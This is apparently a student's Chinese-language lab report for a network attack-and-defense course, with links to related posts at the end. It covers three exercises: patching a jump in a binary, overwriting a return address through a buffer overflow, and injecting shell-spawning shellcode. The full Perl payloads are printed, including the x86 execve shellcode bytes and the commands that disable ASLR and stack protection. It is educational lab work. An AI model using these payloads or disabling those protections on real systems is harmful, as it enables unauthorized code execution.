2018-2019-2 20165210《网络攻防技术》Exp1 PC平台逆向破解(BOF实验)

实验分为三个部分:

  1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
  3. 注入一个自己制作的shellcode并运行这段shellcode。

这几种思路,基本代表现实情况中的攻击目标:

  1. 运行原本不可访问的代码片段
  2. 强行修改程序执行流
  3. 以及注入运行任意代码。

一、直接修改程序机器指令,改变程序执行流程

  • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
  • 学习目标:理解可执行文件与机器指令
  • 进阶:掌握ELF文件格式,掌握动态技术

    首先:反汇编20165210_1文件
objdump -d pwn1





反汇编结束后你发现:main函数里面有一步call 804891,机器码指令为e8 d7 ff ff ff。进一步分析:08048491是,0804847d是我们的跳转目标。

0x08048491 - 0x0804847d = 0x00000014  //计算地址差
0xffffffd7 - 0x00000014 = 0xffffffc3 //计算要篡改的目标地址

然后进入编辑文件,然后发现全是乱码,使用

:%!xxd

转换为16进制,用

/e8d7

来寻找e8d7ffffff机器指令

找到以后按i进入插入模式,修改d7为c3,用

:%!xxd -r

换回乱码的状态,然后保存,再次

objdump -d 20165210_1

就发现改回来了

然后运行一下

就成功了

二、通过构造输入参数,造成BOF攻击,改变程序执行流

缓冲区溢出攻击,即BOF攻击。简单的说就是不合法的输入把子函数的返回地址覆盖掉了,通过这种方式修改函数的返回地址,使程序代码执行“意外”的流程。

使用gdb命令,file 20165210_2载入20165210_2文件,r运行

可以看到图中

0x6c6c6b6b in ?? ()

6c是l的ASCII码值6b是k的ASCII码值

所以根据内容1中的getshell内存地址,修改输入字符串(注意要将实际地址反序录入),然后利用prel构建输入文件。

perl -e 'print "aaaaaaaassssssssddddddffffgghhjj\x7d\x84\x04\x08\x0a"' > input

Perl -e:用于在命令行而不是在脚本中执行 Perl 命令;“|”管道:将第一条命令的结果作为第二条命令的参数来使用;

然后用cat命令:

(cat input; cat ) | ./20165210_2

然后就成功了

三、注入Shellcode并执行

首先;下载execstack并安装

apt-get install execstack

设置堆栈可执行:

execstack -s 20165210_3   //设置堆栈可执行
execstack -q 20165210_3 //查询文件的堆栈是否可执行

关闭地址随机化

echo "0" > /proc/sys/kernel/randomize_va_space

查询地址随机化是否关闭(0代表关闭,2代表开启)

more /proc/sys/kernel/randomize_va_space

整个过程中我们需要注入一段代码,和实验二里面使用的perl类似,我们首先构造一个input_shellcode:

perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

首先在一个窗口运行

(cat input_shellcode;cat) | .20165210_3;

在另外一个窗口

ps -ef | grep 20165210_3

能看见当前运行20165210_3的进程号;

在gdb里面attach 进程号进行调试,(gdb) disassemble foo反编译,设置断点,然后into r esp。

0xffffd2fc+0x000004=0xffffd300

然后修:改shellcode中的内容:

perl -e 'print "A" x 32;print "\x00\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input-shellcode

运行:

(cat input-shellcode;cat) | ./20165210_3

四、过程中遇到的困难:

  1. 首先就是内容一中的将乱码转换为16进制,然后我改完没有再转回乱码,直接保存了,发现就不能反汇编了。
  2. 也是内容一就是找e8d7怎么找都找不到,/d7不行/e8不行/e8d7不行,最后打了/e8 d7才成功
  3. 最后还有就是内容三的设置断点阶段,我输入了continue发现在continuing就不动了,然后发现另一个终端还要回车一下(我也不是很懂为什么要回车),然后就可以继续进行了。

# 2018-2019-2 20165210《网络攻防技术》Exp1 PC平台逆向破解(BOF实验)的更多相关文章

  1. 20155308《网络攻防》 Exp1 PC平台逆向破解(5)M

    20155308<网络攻防> Exp1 PC平台逆向破解(5)M 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是 ...

  2. 20155226 《网络攻防》 Exp1 PC平台逆向破解(5)M

    20155226 <网络攻防> Exp1 PC平台逆向破解(5)M 实践目标 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串 该程序同时包含另一个代 ...

  3. 20155321 《网络攻防》 Exp1 PC平台逆向破解(5)M

    20155321 <网络攻防> Exp1 PC平台逆向破解(5)M 实践目标 本次实践的对象是linux的可执行文件 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何 ...

  4. 20155330 《网络攻防》Exp1 PC平台逆向破解(5)M

    20155330 <网络攻防>Exp1 PC平台逆向破解(5)M 实践目标 运行pwn1可执行文件中的getshell函数,学习如何注入运行任何Shellcode 本次实践的对象是一个名为 ...

  5. 20155213 《网络攻防》 Exp1 PC平台逆向破解

    20155213 <网络攻防> Exp1 PC平台逆向破解(5)M 实践内容 通过对实践对象--pwn20155213的linux可执行文件的修改或输入,完成以下三块: 手工修改可执行文件 ...

  6. 20155220 吴思其 《网络攻防》 Exp1 PC平台逆向破解(5)M

    20155220 <网络攻防> Exp1 PC平台逆向破解(5)M 实践内容 通过对实践对象--20155220pwn1的linux可执行文件的修改或输入,完成以下三块: 手工修改可执行文 ...

  7. 20155306 白皎 《网络攻防》Exp1 PC平台逆向破解——逆向与Bof基础

    20155306 白皎 <网络攻防>Exp1 PC平台逆向破解--逆向与Bof基础 实践相关说明 1.1 实践目标 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数. ...

  8. 20155309南皓芯 网络对抗《网络攻防》 Exp1 PC平台逆向破解(5)M

    实践目标 本次实践的对象是linux的可执行文件 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另一个代码片段,getShell,会返回一个可 ...

  9. 20155323刘威良 网络对抗《网络攻防》 Exp1 PC平台逆向破解(5)M

    实践目标 本次实践的对象是linux的可执行文件 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另一个代码片段,getShell,会返回一个可 ...

  10. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

随机推荐

  1. LocalStorage存储JSON对象的问题

    LocalStorage存储JSON对象的问题   localStorage - 没有时间限制的数据存储 1 var arr=[1,2,3]; 2 localStorage.setItem(" ...

  2. RabbitMQ学习之(五)_一个基于PHP的RabbitMQ操作类

    //amqp.php类文件 <?php class Amqp { public $e_name; public $q_name; public $k_route; public $channel ...

  3. RESTful风格与RESTful Api

    REST(representational state transfer)(表述性状态转移),词汇解析: 1.representational 表述性:指资源以用各种形式来表述,包括 XML.JSON ...

  4. 爬虫之动态HTML处理(Selenium与PhantomJS )

    Selenium Selenium是一个Web的自动化测试工具,最初是为网站自动化测试而开发的,类型像我们玩游戏用的按键精灵,可以按指定的命令自动操作,不同是Selenium 可以直接运行在浏览器上, ...

  5. 拓扑排序 - hdu 1285(普通和优先队列优化)

    2017-09-12 19:50:58 writer:pprp 最近刚开始接触拓扑排序,拓扑排序适用于:无圈图的顶点的一种排序, 用来解决有优先级别的排序问题,比如课程先修后修,排名等. 主要实现:用 ...

  6. Mybatis中传参包There is no getter for property named 'XXX' in 'class java.lang.String'

    Mybatis中传参包There is no getter for property named 'XXX' in 'class java.lang.String' 一.发现问题 <select ...

  7. spring boot 知识点1

    spring boot: 1. 可以在pom文件中添加依赖sping-boot-properties-migrator来对项目进行升级,升级完成后,删除即可. 2. 关于日志的配置,参考:http:/ ...

  8. vue-cli router的使用

    用了很久这个vue-cli到现在连入门都算不了,为了防止忘记还是很有必要记一下随笔的. 关于vue-cli中的router的使用,, 我将所有页面都存放在components文件夹下, 灰后通过rou ...

  9. centos添加php及mysql环境变量

    在Linux CentOS系统上安装完php和MySQL后,为了使用方便,需要将php和mysql命令加到系统命令中,如果在没有添加到环境变量之前,执行 “php -v”命令查看当前php版本信息时时 ...

  10. winform无边框窗体点击任务栏最小化

    protected override CreateParams CreateParams { get { const int WS_MINIMIZEBOX = 0x00020000; // Winus ...